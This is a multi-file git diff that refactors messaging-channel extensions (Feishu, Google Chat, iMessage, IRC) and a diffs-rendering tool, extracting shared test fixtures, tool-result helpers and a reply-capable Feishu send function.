a/extensions/diffs/src/config.test.ts +++ b/extensions/diffs/src/config.test.ts @@ -7,6 +7,23 @@ import { resolveDiffsPluginSecurity, } from "./config.js"; +const FULL_DEFAULTS = { + fontFamily: "JetBrains Mono", + fontSize: 17, + lineSpacing: 1.8, + layout: "split", + showLineNumbers: false, + diffIndicators: "classic", + wordWrap: false, + background: false, + theme: "light", + fileFormat: "pdf", + fileQuality: "hq", + fileScale: 2.6, + fileMaxWidth: 1280, + mode: "file", +} as const; + describe("resolveDiffsPluginDefaults", () => { it("returns built-in defaults when config is missing", () => { expect(resolveDiffsPluginDefaults(undefined)).toEqual(DEFAULT_DIFFS_TOOL_DEFAULTS); @@ -15,39 +32,9 @@ describe("resolveDiffsPluginDefaults", () => { it("applies configured defaults from plugin config", () => { expect( resolveDiffsPluginDefaults({ - defaults: { - fontFamily: "JetBrains Mono", - fontSize: 17, - lineSpacing: 1.8, - layout: "split", - showLineNumbers: false, - diffIndicators: "classic", - wordWrap: false, - background: false, - theme: "light", - fileFormat: "pdf", - fileQuality: "hq", - fileScale: 2.6, - fileMaxWidth: 1280, - mode: "file", - }, + defaults: FULL_DEFAULTS, }), - ).toEqual({ - fontFamily: "JetBrains Mono", - fontSize: 17, - lineSpacing: 1.8, - layout: "split", - showLineNumbers: false, - diffIndicators: "classic", - wordWrap: false, - background: false, - theme: "light", - fileFormat: "pdf", - fileQuality: "hq", - fileScale: 2.6, - fileMaxWidth: 1280, - mode: "file", - }); + ).toEqual(FULL_DEFAULTS); }); it("clamps and falls back for invalid line spacing and indicators", () => { diff --git a/extensions/diffs/src/tool.test.ts b/extensions/diffs/src/tool.test.ts index ba72c011c76..97ee6234148 100644 --- a/extensions/diffs/src/tool.test.ts +++ b/extensions/diffs/src/tool.test.ts @@ -95,23 +95,11 @@ describe("diffs tool", () => { }); it("renders PDF output when fileFormat is pdf", async () => { - const screenshotter = { - screenshotHtml: vi.fn( - async ({ - outputPath, - image, - }: { - outputPath: string; - image: { format: string; qualityPreset: string; scale: number; maxWidth: number }; - }) => { - expect(image.format).toBe("pdf"); - expect(outputPath).toMatch(/preview\.pdf$/); - await fs.mkdir(path.dirname(outputPath), { recursive: true }); - await fs.writeFile(outputPath, Buffer.from("%PDF-1.7")); - return outputPath; - }, - ), - }; + const screenshotter = createPdfScreenshotter({ + assertOutputPath: (outputPath) => { + expect(outputPath).toMatch(/preview\.pdf$/); + }, + }); const tool = createDiffsTool({ api: createApi(), @@ -208,22 +196,7 @@ describe("diffs tool", () => { }); it("accepts deprecated format alias for fileFormat", async () => { - const screenshotter = { - screenshotHtml: vi.fn( - async ({ - outputPath, - image, - }: { - outputPath: string; - image: { format: string; qualityPreset: string; scale: number; maxWidth: number }; - }) => { - expect(image.format).toBe("pdf"); - await fs.mkdir(path.dirname(outputPath), { recursive: true }); - await fs.writeFile(outputPath, Buffer.from("%PDF-1.7")); - return outputPath; - }, - ), - }; + const screenshotter = createPdfScreenshotter(); const tool = createDiffsTool({ api: createApi(), @@ -492,6 +465,23 @@ function createPngScreenshotter( }; } +function createPdfScreenshotter( + params: { + assertOutputPath?: (outputPath: string) => void; + } = {}, +): DiffScreenshotter { + const screenshotHtml: DiffScreenshotter["screenshotHtml"] = vi.fn( + async ({ outputPath, image }: { outputPath: string; image: DiffRenderOptions["image"] }) => { + expect(image.format).toBe("pdf"); + params.assertOutputPath?.(outputPath); + await fs.mkdir(path.dirname(outputPath), { recursive: true }); + await fs.writeFile(outputPath, Buffer.from("%PDF-1.7")); + return outputPath; + }, + ); + return { screenshotHtml }; +} + function readTextContent(result: unknown, index: number): string { const content = (result as { content?: Array<{ type?: string; text?: string }> } | undefined) ?.content; diff --git a/extensions/feishu/src/channel.ts b/extensions/feishu/src/channel.ts index 1e631c407e0..a8fa04d5700 100644 --- a/extensions/feishu/src/channel.ts +++ b/extensions/feishu/src/channel.ts @@ -1,6 +1,7 @@ import type { ChannelMeta, ChannelPlugin, ClawdbotConfig } from "openclaw/plugin-sdk/feishu"; import { - buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, createDefaultChannelRuntimeState, DEFAULT_ACCOUNT_ID, PAIRING_APPROVED_MESSAGE, @@ -54,6 +55,30 @@ const secretInputJsonSchema = { ], } as const; +function setFeishuNamedAccountEnabled( + cfg: ClawdbotConfig, + accountId: string, + enabled: boolean, +): ClawdbotConfig { + const feishuCfg = cfg.channels?.feishu as FeishuConfig | undefined; + return { + ...cfg, + channels: { + ...cfg.channels, + feishu: { + ...feishuCfg, + accounts: { + ...feishuCfg?.accounts, + [accountId]: { + ...feishuCfg?.accounts?.[accountId], + enabled, + }, + }, + }, + }, + }; +} + export const feishuPlugin: ChannelPlugin = { id: "feishu", meta: { @@ -178,23 +203,7 @@ export const feishuPlugin: ChannelPlugin = { } // For named accounts, set enabled in accounts[accountId] - const feishuCfg = cfg.channels?.feishu as FeishuConfig | undefined; - return { - ...cfg, - channels: { - ...cfg.channels, - feishu: { - ...feishuCfg, - accounts: { - ...feishuCfg?.accounts, - [accountId]: { - ...feishuCfg?.accounts?.[accountId], - enabled, - }, - }, - }, - }, - }; + return setFeishuNamedAccountEnabled(cfg, accountId, enabled); }, deleteAccount: ({ cfg, accountId }) => { const isDefault = accountId === DEFAULT_ACCOUNT_ID; @@ -281,23 +290,7 @@ export const feishuPlugin: ChannelPlugin = { }; } - const feishuCfg = cfg.channels?.feishu as FeishuConfig | undefined; - return { - ...cfg, - channels: { - ...cfg.channels, - feishu: { - ...feishuCfg, - accounts: { - ...feishuCfg?.accounts, - [accountId]: { - ...feishuCfg?.accounts?.[accountId], - enabled: true, - }, - }, - }, - }, - }; + return setFeishuNamedAccountEnabled(cfg, accountId, true); }, }, onboarding: feishuOnboardingAdapter, @@ -342,12 +335,10 @@ export const feishuPlugin: ChannelPlugin = { outbound: feishuOutbound, status: { defaultRuntime: createDefaultChannelRuntimeState(DEFAULT_ACCOUNT_ID, { port: null }), - buildChannelSummary: ({ snapshot }) => ({ - ...buildBaseChannelStatusSummary(snapshot), - port: snapshot.port ?? null, - probe: snapshot.probe, - lastProbeAt: snapshot.lastProbeAt ?? null, - }), + buildChannelSummary: ({ snapshot }) => + buildProbeChannelStatusSummary(snapshot, { + port: snapshot.port ?? null, + }), probeAccount: async ({ account }) => await probeFeishu(account), buildAccountSnapshot: ({ account, runtime, probe }) => ({ accountId: account.accountId, @@ -356,12 +347,8 @@ export const feishuPlugin: ChannelPlugin = { name: account.name, appId: account.appId, domain: account.domain, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + ...buildRuntimeAccountStatusSnapshot({ runtime, probe }), port: runtime?.port ?? null, - probe, }), }, gateway: { diff --git a/extensions/feishu/src/drive.ts b/extensions/feishu/src/drive.ts index f9eacc9287d..227c30fbbb7 100644 --- a/extensions/feishu/src/drive.ts +++ b/extensions/feishu/src/drive.ts @@ -3,15 +3,11 @@ import type { OpenClawPluginApi } from "openclaw/plugin-sdk/feishu"; import { listEnabledFeishuAccounts } from "./accounts.js"; import { FeishuDriveSchema, type FeishuDriveParams } from "./drive-schema.js"; import { createFeishuToolClient, resolveAnyEnabledFeishuToolsConfig } from "./tool-account.js"; - -// ============ Helpers ============ - -function json(data: unknown) { - return { - content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], - details: data, - }; -} +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; // ============ Actions ============ @@ -206,21 +202,21 @@ export function registerFeishuDriveTools(api: OpenClawPluginApi) { }); switch (p.action) { case "list": - return json(await listFolder(client, p.folder_token)); + return jsonToolResult(await listFolder(client, p.folder_token)); case "info": - return json(await getFileInfo(client, p.file_token)); + return jsonToolResult(await getFileInfo(client, p.file_token)); case "create_folder": - return json(await createFolder(client, p.name, p.folder_token)); + return jsonToolResult(await createFolder(client, p.name, p.folder_token)); case "move": - return json(await moveFile(client, p.file_token, p.type, p.folder_token)); + return jsonToolResult(await moveFile(client, p.file_token, p.type, p.folder_token)); case "delete": - return json(await deleteFile(client, p.file_token, p.type)); + return jsonToolResult(await deleteFile(client, p.file_token, p.type)); default: // eslint-disable-next-line @typescript-eslint/no-explicit-any -- exhaustive check fallback - return json({ error: `Unknown action: ${(p as any).action}` }); + return unknownToolActionResult((p as { action?: unknown }).action); } } catch (err) { - return json({ error: err instanceof Error ? err.message : String(err) }); + return toolExecutionErrorResult(err); } }, }; diff --git a/extensions/feishu/src/monitor.reaction.test.ts b/extensions/feishu/src/monitor.reaction.test.ts index 06eb0e37a97..5537af6b214 100644 --- a/extensions/feishu/src/monitor.reaction.test.ts +++ b/extensions/feishu/src/monitor.reaction.test.ts @@ -51,6 +51,30 @@ function makeReactionEvent( }; } +function createFetchedReactionMessage(chatId: string) { + return { + messageId: "om_msg1", + chatId, + senderOpenId: "ou_bot", + content: "hello", + contentType: "text", + }; +} + +async function resolveReactionWithLookup(params: { + event?: FeishuReactionCreatedEvent; + lookupChatId: string; +}) { + return await resolveReactionSyntheticEvent({ + cfg, + accountId: "default", + event: params.event ?? makeReactionEvent(), + botOpenId: "ou_bot", + fetchMessage: async () => createFetchedReactionMessage(params.lookupChatId), + uuid: () => "fixed-uuid", + }); +} + type FeishuMention = NonNullable[number]; function buildDebounceConfig(): ClawdbotConfig { @@ -152,6 +176,30 @@ function getFirstDispatchedEvent(): FeishuMessageEvent { return firstParams.event; } +function setDedupPassThroughMocks(): void { + vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); + vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); + vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); + vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); +} + +function createMention(params: { openId: string; name: string; key?: string }): FeishuMention { + return { + key: params.key ?? "@_user_1", + id: { open_id: params.openId }, + name: params.name, + }; +} + +async function enqueueDebouncedMessage( + onMessage: (data: unknown) => Promise, + event: FeishuMessageEvent, +): Promise { + await onMessage(event); + await Promise.resolve(); + await Promise.resolve(); +} + describe("resolveReactionSyntheticEvent", () => { it("filters app self-reactions", async () => { const event = makeReactionEvent({ operator_type: "app" }); @@ -272,23 +320,12 @@ describe("resolveReactionSyntheticEvent", () => { }); it("uses event chat context when provided", async () => { - const event = makeReactionEvent({ - chat_id: "oc_group_from_event", - chat_type: "group", - }); - const result = await resolveReactionSyntheticEvent({ - cfg, - accountId: "default", - event, - botOpenId: "ou_bot", - fetchMessage: async () => ({ - messageId: "om_msg1", - chatId: "oc_group_from_lookup", - senderOpenId: "ou_bot", - content: "hello", - contentType: "text", + const result = await resolveReactionWithLookup({ + event: makeReactionEvent({ + chat_id: "oc_group_from_event", + chat_type: "group", }), - uuid: () => "fixed-uuid", + lookupChatId: "oc_group_from_lookup", }); expect(result).toEqual({ @@ -309,20 +346,8 @@ describe("resolveReactionSyntheticEvent", () => { }); it("falls back to reacted message chat_id when event chat_id is absent", async () => { - const event = makeReactionEvent(); - const result = await resolveReactionSyntheticEvent({ - cfg, - accountId: "default", - event, - botOpenId: "ou_bot", - fetchMessage: async () => ({ - messageId: "om_msg1", - chatId: "oc_group_from_lookup", - senderOpenId: "ou_bot", - content: "hello", - contentType: "text", - }), - uuid: () => "fixed-uuid", + const result = await resolveReactionWithLookup({ + lookupChatId: "oc_group_from_lookup", }); expect(result?.message.chat_id).toBe("oc_group_from_lookup"); @@ -330,20 +355,8 @@ describe("resolveReactionSyntheticEvent", () => { }); it("falls back to sender p2p chat when lookup returns empty chat_id", async () => { - const event = makeReactionEvent(); - const result = await resolveReactionSyntheticEvent({ - cfg, - accountId: "default", - event, - botOpenId: "ou_bot", - fetchMessage: async () => ({ - messageId: "om_msg1", - chatId: "", - senderOpenId: "ou_bot", - content: "hello", - contentType: "text", - }), - uuid: () => "fixed-uuid", + const result = await resolveReactionWithLookup({ + lookupChatId: "", }); expect(result?.message.chat_id).toBe("p2p:ou_user1"); @@ -396,42 +409,25 @@ describe("Feishu inbound debounce regressions", () => { }); it("keeps bot mention when per-message mention keys collide across non-forward messages", async () => { - vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); - vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); - vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); - vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); + setDedupPassThroughMocks(); const onMessage = await setupDebounceMonitor(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_1", text: "first", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_user_a" }, - name: "user-a", - }, - ], + mentions: [createMention({ openId: "ou_user_a", name: "user-a" })], }), ); - await Promise.resolve(); - await Promise.resolve(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_2", text: "@bot second", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_bot" }, - name: "bot", - }, - ], + mentions: [createMention({ openId: "ou_bot", name: "bot" })], }), ); - await Promise.resolve(); - await Promise.resolve(); await vi.advanceTimersByTimeAsync(25); expect(handleFeishuMessageMock).toHaveBeenCalledTimes(1); @@ -473,42 +469,25 @@ describe("Feishu inbound debounce regressions", () => { }); it("does not synthesize mention-forward intent across separate messages", async () => { - vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); - vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); - vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); - vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); + setDedupPassThroughMocks(); const onMessage = await setupDebounceMonitor(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_user_mention", text: "@alice first", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_alice" }, - name: "alice", - }, - ], + mentions: [createMention({ openId: "ou_alice", name: "alice" })], }), ); - await Promise.resolve(); - await Promise.resolve(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_bot_mention", text: "@bot second", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_bot" }, - name: "bot", - }, - ], + mentions: [createMention({ openId: "ou_bot", name: "bot" })], }), ); - await Promise.resolve(); - await Promise.resolve(); await vi.advanceTimersByTimeAsync(25); expect(handleFeishuMessageMock).toHaveBeenCalledTimes(1); @@ -521,35 +500,24 @@ describe("Feishu inbound debounce regressions", () => { }); it("preserves bot mention signal when the latest merged message has no mentions", async () => { - vi.spyOn(dedup, "tryRecordMessage").mockReturnValue(true); - vi.spyOn(dedup, "tryRecordMessagePersistent").mockResolvedValue(true); - vi.spyOn(dedup, "hasRecordedMessage").mockReturnValue(false); - vi.spyOn(dedup, "hasRecordedMessagePersistent").mockResolvedValue(false); + setDedupPassThroughMocks(); const onMessage = await setupDebounceMonitor(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_bot_first", text: "@bot first", - mentions: [ - { - key: "@_user_1", - id: { open_id: "ou_bot" }, - name: "bot", - }, - ], + mentions: [createMention({ openId: "ou_bot", name: "bot" })], }), ); - await Promise.resolve(); - await Promise.resolve(); - await onMessage( + await enqueueDebouncedMessage( + onMessage, createTextEvent({ messageId: "om_plain_second", text: "plain follow-up", }), ); - await Promise.resolve(); - await Promise.resolve(); await vi.advanceTimersByTimeAsync(25); expect(handleFeishuMessageMock).toHaveBeenCalledTimes(1); diff --git a/extensions/feishu/src/monitor.startup.test.ts b/extensions/feishu/src/monitor.startup.test.ts index 7e1c2c60e5d..e62ff49148a 100644 --- a/extensions/feishu/src/monitor.startup.test.ts +++ b/extensions/feishu/src/monitor.startup.test.ts @@ -1,6 +1,10 @@ import type { ClawdbotConfig } from "openclaw/plugin-sdk/feishu"; import { afterEach, describe, expect, it, vi } from "vitest"; import { monitorFeishuProvider, stopFeishuMonitor } from "./monitor.js"; +import { + createFeishuClientMockModule, + createFeishuRuntimeMockModule, +} from "./monitor.test-mocks.js"; const probeFeishuMock = vi.hoisted(() => vi.fn()); @@ -8,27 +12,8 @@ vi.mock("./probe.js", () => ({ probeFeishu: probeFeishuMock, })); -vi.mock("./client.js", () => ({ - createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), - createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), -})); - -vi.mock("./runtime.js", () => ({ - getFeishuRuntime: () => ({ - channel: { - debounce: { - resolveInboundDebounceMs: () => 0, - createInboundDebouncer: () => ({ - enqueue: async () => {}, - flushKey: async () => {}, - }), - }, - text: { - hasControlCommand: () => false, - }, - }, - }), -})); +vi.mock("./client.js", () => createFeishuClientMockModule()); +vi.mock("./runtime.js", () => createFeishuRuntimeMockModule()); function buildMultiAccountWebsocketConfig(accountIds: string[]): ClawdbotConfig { return { diff --git a/extensions/feishu/src/monitor.test-mocks.ts b/extensions/feishu/src/monitor.test-mocks.ts index 41e5d9c0086..939afcf5ee7 100644 --- a/extensions/feishu/src/monitor.test-mocks.ts +++ b/extensions/feishu/src/monitor.test-mocks.ts @@ -1,12 +1,27 @@ import { vi } from "vitest"; -export const probeFeishuMock: ReturnType = vi.fn(); +export function createFeishuClientMockModule() { + return { + createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), + createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), + }; +} -vi.mock("./probe.js", () => ({ - probeFeishu: probeFeishuMock, -})); - -vi.mock("./client.js", () => ({ - createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), - createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), -})); +export function createFeishuRuntimeMockModule() { + return { + getFeishuRuntime: () => ({ + channel: { + debounce: { + resolveInboundDebounceMs: () => 0, + createInboundDebouncer: () => ({ + enqueue: async () => {}, + flushKey: async () => {}, + }), + }, + text: { + hasControlCommand: () => false, + }, + }, + }), + }; +} diff --git a/extensions/feishu/src/monitor.webhook-security.test.ts b/extensions/feishu/src/monitor.webhook-security.test.ts index d52b417009f..cc64291b4ef 100644 --- a/extensions/feishu/src/monitor.webhook-security.test.ts +++ b/extensions/feishu/src/monitor.webhook-security.test.ts @@ -2,6 +2,10 @@ import { createServer } from "node:http"; import type { AddressInfo } from "node:net"; import type { ClawdbotConfig } from "openclaw/plugin-sdk/feishu"; import { afterEach, describe, expect, it, vi } from "vitest"; +import { + createFeishuClientMockModule, + createFeishuRuntimeMockModule, +} from "./monitor.test-mocks.js"; const probeFeishuMock = vi.hoisted(() => vi.fn()); @@ -9,27 +13,8 @@ vi.mock("./probe.js", () => ({ probeFeishu: probeFeishuMock, })); -vi.mock("./client.js", () => ({ - createFeishuWSClient: vi.fn(() => ({ start: vi.fn() })), - createEventDispatcher: vi.fn(() => ({ register: vi.fn() })), -})); - -vi.mock("./runtime.js", () => ({ - getFeishuRuntime: () => ({ - channel: { - debounce: { - resolveInboundDebounceMs: () => 0, - createInboundDebouncer: () => ({ - enqueue: async () => {}, - flushKey: async () => {}, - }), - }, - text: { - hasControlCommand: () => false, - }, - }, - }), -})); +vi.mock("./client.js", () => createFeishuClientMockModule()); +vi.mock("./runtime.js", () => createFeishuRuntimeMockModule()); vi.mock("@larksuiteoapi/node-sdk", () => ({ adaptDefault: vi.fn( diff --git a/extensions/feishu/src/perm.ts b/extensions/feishu/src/perm.ts index 8ff1a794e29..a031bb015ef 100644 --- a/extensions/feishu/src/perm.ts +++ b/extensions/feishu/src/perm.ts @@ -3,15 +3,11 @@ import type { OpenClawPluginApi } from "openclaw/plugin-sdk/feishu"; import { listEnabledFeishuAccounts } from "./accounts.js"; import { FeishuPermSchema, type FeishuPermParams } from "./perm-schema.js"; import { createFeishuToolClient, resolveAnyEnabledFeishuToolsConfig } from "./tool-account.js"; - -// ============ Helpers ============ - -function json(data: unknown) { - return { - content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], - details: data, - }; -} +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; type ListTokenType = | "doc" @@ -154,21 +150,21 @@ export function registerFeishuPermTools(api: OpenClawPluginApi) { }); switch (p.action) { case "list": - return json(await listMembers(client, p.token, p.type)); + return jsonToolResult(await listMembers(client, p.token, p.type)); case "add": - return json( + return jsonToolResult( await addMember(client, p.token, p.type, p.member_type, p.member_id, p.perm), ); case "remove": - return json( + return jsonToolResult( await removeMember(client, p.token, p.type, p.member_type, p.member_id), ); default: // eslint-disable-next-line @typescript-eslint/no-explicit-any -- exhaustive check fallback - return json({ error: `Unknown action: ${(p as any).action}` }); + return unknownToolActionResult((p as { action?: unknown }).action); } } catch (err) { - return json({ error: err instanceof Error ? err.message : String(err) }); + return toolExecutionErrorResult(err); } }, }; diff --git a/extensions/feishu/src/send-message.ts b/extensions/feishu/src/send-message.ts new file mode 100644 index 00000000000..21772ec374f --- /dev/null +++ b/extensions/feishu/src/send-message.ts @@ -0,0 +1,71 @@ +import { assertFeishuMessageApiSuccess, toFeishuSendResult } from "./send-result.js"; + +type FeishuMessageClient = { + im: { + message: { + reply: (params: { + path: { message_id: string }; + data: Record; + }) => Promise<{ code?: number; msg?: string; data?: { message_id?: string } }>; + create: (params: { + params: { receive_id_type: string }; + data: Record; + }) => Promise<{ code?: number; msg?: string; data?: { message_id?: string } }>; + }; + }; +}; + +export async function sendFeishuMessageWithOptionalReply(params: { + client: FeishuMessageClient; + receiveId: string; + receiveIdType: string; + content: string; + msgType: string; + replyToMessageId?: string; + replyInThread?: boolean; + sendErrorPrefix: string; + replyErrorPrefix: string; + fallbackSendErrorPrefix?: string; + shouldFallbackFromReply?: (response: { code?: number; msg?: string }) => boolean; +}): Promise<{ messageId: string; chatId: string }> { + const data = { + content: params.content, + msg_type: params.msgType, + }; + + if (params.replyToMessageId) { + const response = await params.client.im.message.reply({ + path: { message_id: params.replyToMessageId }, + data: { + ...data, + ...(params.replyInThread ? { reply_in_thread: true } : {}), + }, + }); + if (params.shouldFallbackFromReply?.(response)) { + const fallback = await params.client.im.message.create({ + params: { receive_id_type: params.receiveIdType }, + data: { + receive_id: params.receiveId, + ...data, + }, + }); + assertFeishuMessageApiSuccess( + fallback, + params.fallbackSendErrorPrefix ?? params.sendErrorPrefix, + ); + return toFeishuSendResult(fallback, params.receiveId); + } + assertFeishuMessageApiSuccess(response, params.replyErrorPrefix); + return toFeishuSendResult(response, params.receiveId); + } + + const response = await params.client.im.message.create({ + params: { receive_id_type: params.receiveIdType }, + data: { + receive_id: params.receiveId, + ...data, + }, + }); + assertFeishuMessageApiSuccess(response, params.sendErrorPrefix); + return toFeishuSendResult(response, params.receiveId); +} diff --git a/extensions/feishu/src/tool-result.test.ts b/extensions/feishu/src/tool-result.test.ts new file mode 100644 index 00000000000..d4538133872 --- /dev/null +++ b/extensions/feishu/src/tool-result.test.ts @@ -0,0 +1,32 @@ +import { describe, expect, it } from "vitest"; +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; + +describe("jsonToolResult", () => { + it("formats tool result with text content and details", () => { + const payload = { ok: true, id: "abc" }; + expect(jsonToolResult(payload)).toEqual({ + content: [{ type: "text", text: JSON.stringify(payload, null, 2) }], + details: payload, + }); + }); + + it("formats unknown action errors", () => { + expect(unknownToolActionResult("create")).toEqual({ + content: [ + { type: "text", text: JSON.stringify({ error: "Unknown action: create" }, null, 2) }, + ], + details: { error: "Unknown action: create" }, + }); + }); + + it("formats execution errors", () => { + expect(toolExecutionErrorResult(new Error("boom"))).toEqual({ + content: [{ type: "text", text: JSON.stringify({ error: "boom" }, null, 2) }], + details: { error: "boom" }, + }); + }); +}); diff --git a/extensions/feishu/src/tool-result.ts b/extensions/feishu/src/tool-result.ts new file mode 100644 index 00000000000..d45bb0cf1c0 --- /dev/null +++ b/extensions/feishu/src/tool-result.ts @@ -0,0 +1,14 @@ +export function jsonToolResult(data: unknown) { + return { + content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], + details: data, + }; +} + +export function unknownToolActionResult(action: unknown) { + return jsonToolResult({ error: `Unknown action: ${String(action)}` }); +} + +export function toolExecutionErrorResult(error: unknown) { + return jsonToolResult({ error: error instanceof Error ? error.message : String(error) }); +} diff --git a/extensions/feishu/src/wiki.ts b/extensions/feishu/src/wiki.ts index ef74b5dc0a7..e701f57b3aa 100644 --- a/extensions/feishu/src/wiki.ts +++ b/extensions/feishu/src/wiki.ts @@ -2,17 +2,13 @@ import type * as Lark from "@larksuiteoapi/node-sdk"; import type { OpenClawPluginApi } from "openclaw/plugin-sdk/feishu"; import { listEnabledFeishuAccounts } from "./accounts.js"; import { createFeishuToolClient, resolveAnyEnabledFeishuToolsConfig } from "./tool-account.js"; +import { + jsonToolResult, + toolExecutionErrorResult, + unknownToolActionResult, +} from "./tool-result.js"; import { FeishuWikiSchema, type FeishuWikiParams } from "./wiki-schema.js"; -// ============ Helpers ============ - -function json(data: unknown) { - return { - content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }], - details: data, - }; -} - type ObjType = "doc" | "sheet" | "mindnote" | "bitable" | "file" | "docx" | "slides"; // ============ Actions ============ @@ -194,22 +190,22 @@ export function registerFeishuWikiTools(api: OpenClawPluginApi) { }); switch (p.action) { case "spaces": - return json(await listSpaces(client)); + return jsonToolResult(await listSpaces(client)); case "nodes": - return json(await listNodes(client, p.space_id, p.parent_node_token)); + return jsonToolResult(await listNodes(client, p.space_id, p.parent_node_token)); case "get": - return json(await getNode(client, p.token)); + return jsonToolResult(await getNode(client, p.token)); case "search": - return json({ + return jsonToolResult({ error: "Search is not available. Use feishu_wiki with action: 'nodes' to browse or action: 'get' to lookup by token.", }); case "create": - return json( + return jsonToolResult( await createNode(client, p.space_id, p.title, p.obj_type, p.parent_node_token), ); case "move": - return json( + return jsonToolResult( await moveNode( client, p.space_id, @@ -219,13 +215,13 @@ export function registerFeishuWikiTools(api: OpenClawPluginApi) { ), ); case "rename": - return json(await renameNode(client, p.space_id, p.node_token, p.title)); + return jsonToolResult(await renameNode(client, p.space_id, p.node_token, p.title)); default: // eslint-disable-next-line @typescript-eslint/no-explicit-any -- exhaustive check fallback - return json({ error: `Unknown action: ${(p as any).action}` }); + return unknownToolActionResult((p as { action?: unknown }).action); } } catch (err) { - return json({ error: err instanceof Error ? err.message : String(err) }); + return toolExecutionErrorResult(err); } }, }; diff --git a/extensions/googlechat/src/monitor-webhook.ts b/extensions/googlechat/src/monitor-webhook.ts index 4272b2bfa87..5f380722267 100644 --- a/extensions/googlechat/src/monitor-webhook.ts +++ b/extensions/googlechat/src/monitor-webhook.ts @@ -25,6 +25,7 @@ function extractBearerToken(header: unknown): string { type ParsedGoogleChatInboundPayload = | { ok: true; event: GoogleChatEvent; addOnBearerToken: string } | { ok: false }; +type ParsedGoogleChatInboundSuccess = Extract; function parseGoogleChatInboundPayload( raw: unknown, @@ -116,6 +117,23 @@ export function createGoogleChatWebhookRequestHandler(params: { const headerBearer = extractBearerToken(req.headers.authorization); let selectedTarget: WebhookTarget | null = null; let parsedEvent: GoogleChatEvent | null = null; + const readAndParseEvent = async ( + profile: "pre-auth" | "post-auth", + ): Promise => { + const body = await readJsonWebhookBodyOrReject({ + req, + res, + profile, + emptyObjectOnEmpty: false, + invalidJsonMessage: "invalid payload", + }); + if (!body.ok) { + return null; + } + + const parsed = parseGoogleChatInboundPayload(body.value, res); + return parsed.ok ? parsed : null; + }; if (headerBearer) { selectedTarget = await resolveWebhookTargetWithAuthOrReject({ @@ -134,36 +152,14 @@ export function createGoogleChatWebhookRequestHandler(params: { return true; } - const body = await readJsonWebhookBodyOrReject({ - req, - res, - profile: "post-auth", - emptyObjectOnEmpty: false, - invalidJsonMessage: "invalid payload", - }); - if (!body.ok) { - return true; - } - - const parsed = parseGoogleChatInboundPayload(body.value, res); - if (!parsed.ok) { + const parsed = await readAndParseEvent("post-auth"); + if (!parsed) { return true; } parsedEvent = parsed.event; } else { - const body = await readJsonWebhookBodyOrReject({ - req, - res, - profile: "pre-auth", - emptyObjectOnEmpty: false, - invalidJsonMessage: "invalid payload", - }); - if (!body.ok) { - return true; - } - - const parsed = parseGoogleChatInboundPayload(body.value, res); - if (!parsed.ok) { + const parsed = await readAndParseEvent("pre-auth"); + if (!parsed) { return true; } parsedEvent = parsed.event; diff --git a/extensions/imessage/src/channel.ts b/extensions/imessage/src/channel.ts index 0835f6734ad..8c77f2a94bf 100644 --- a/extensions/imessage/src/channel.ts +++ b/extensions/imessage/src/channel.ts @@ -1,6 +1,7 @@ import { applyAccountNameToChannelSection, buildChannelConfigSchema, + collectStatusIssuesFromLastError, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, formatPairingApproveHint, @@ -266,21 +267,7 @@ export const imessagePlugin: ChannelPlugin = { cliPath: null, dbPath: null, }, - collectStatusIssues: (accounts) => - accounts.flatMap((account) => { - const lastError = typeof account.lastError === "string" ? account.lastError.trim() : ""; - if (!lastError) { - return []; - } - return [ - { - channel: "imessage", - accountId: account.accountId, - kind: "runtime", - message: `Channel error: ${lastError}`, - }, - ]; - }), + collectStatusIssues: (accounts) => collectStatusIssuesFromLastError("imessage", accounts), buildChannelSummary: ({ snapshot }) => ({ configured: snapshot.configured ?? false, running: snapshot.running ?? false, diff --git a/extensions/irc/src/inbound.ts b/extensions/irc/src/inbound.ts index 2c3378de1c1..6c03ebadf02 100644 --- a/extensions/irc/src/inbound.ts +++ b/extensions/irc/src/inbound.ts @@ -1,8 +1,7 @@ import { GROUP_POLICY_BLOCKED_LABEL, createScopedPairingAccess, - createNormalizedOutboundDeliverer, - createReplyPrefixOptions, + dispatchInboundReplyWithBase, 